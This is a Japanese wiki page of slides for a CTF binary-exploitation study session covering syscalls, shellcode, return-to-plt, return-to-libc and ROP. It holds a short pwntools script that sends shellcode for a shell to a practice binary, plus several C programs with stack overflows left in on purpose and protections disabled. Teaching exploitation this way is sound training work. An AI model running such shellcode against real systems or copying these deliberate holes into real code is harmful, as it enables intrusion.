ログイン
編集不可のページディスカッション情報添付ファイル

2015-05-06 00:24:04時点のリビジョン7

メッセージを消す
ytoku/Slides/Pwn勉強会

MMA

Pwn勉強会(Stack day 1)

Tools

Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう.

x86 assembly

System call

systemcall.png

How to call System calls

システムコールの呼び出し方

arch

instruction

syscall #

retval

arg1

arg2

arg3

arg4

arg5

arg6

x86

int 0x80

eax

eax

ebx

ecx

edx

esi

edi

ebp

x86-64

syscall

rax

rax

rdi

rsi

rdx

r10

r8

r9

システムコール番号

system call

x86

x86-64

execve

11

59

open

5

2

read

3

0

write

4

1

参考文献

Pwntools

   1 # -*- coding: utf-8 -*-
   2 from pwn import *
   3 ## exploit対象のアーキテクチャ
   4 context(arch = "i386", os = "linux")
   5 ## 攻撃のサーバに接続
   6 conn = process("./baby1")
   7 ## ": "を受信するまでrecv
   8 conn.recvuntil(": ")
   9 ## シェルコードをアセンブル
  10 s = asm(shellcraft.sh())
  11 ## シェルコードを送信
  12 conn.send(s)
  13 ## コンソールの入出力を攻撃対象に接続
  14 conn.interactive()

Shellcode

   1 // gcc -z execstack -fno-stack-protector -o baby1 baby1.c
   2 // -m32 / -m64 両方やってもらうよ!
   3 typedef void func();
   4 int main() {
   5     char buf[1024];
   6     write(1, "Send me shellcode: ", 19);
   7     read(0, buf, 1024);
   8     ((func *)buf)();
   9 }

Shellcode(no /bin/sh)

x86/x86-64 ABI

x86/x86_64関数呼び出しチートシート

Return-to-plt

   1 // gcc -m32 -fno-stack-protector -o baby3 baby3.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     system("sleep 1");
   8     gets(buf);
   9     return 0;
  10 }
  11 int main() { return f(); }

ASLR

ASLRについて説明

Return-to-libc

   1 // gcc -m32 -pie -fPIE -fno-stack-protector -o baby4 baby4.c
   2 #include <unistd.h>
   3 int f() {
   4     char buf[32];
   5     write(1, buf, 64);
   6     read(0, buf, 1024);
   7     return 0;
   8 }
   9 int main() { return f(); }

Return-to-plt revisited(x86-64) with tiny ROP

   1 // gcc -m64 -fno-stack-protector -o baby5 baby5.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     system("sleep 1");
   8     gets(buf);
   9     return 0;
  10 }
  11 int main() { return f(); }

ROP

   1 // gcc -m32 -static -fno-stack-protector -o baby6 baby6.c
   2 #include <unistd.h>
   3 int f() {
   4     char buf[32];
   5     read(0, buf, 1024);
   6     return 0;
   7 }
   8 int main() { return f(); }

実践

適当な問題を探す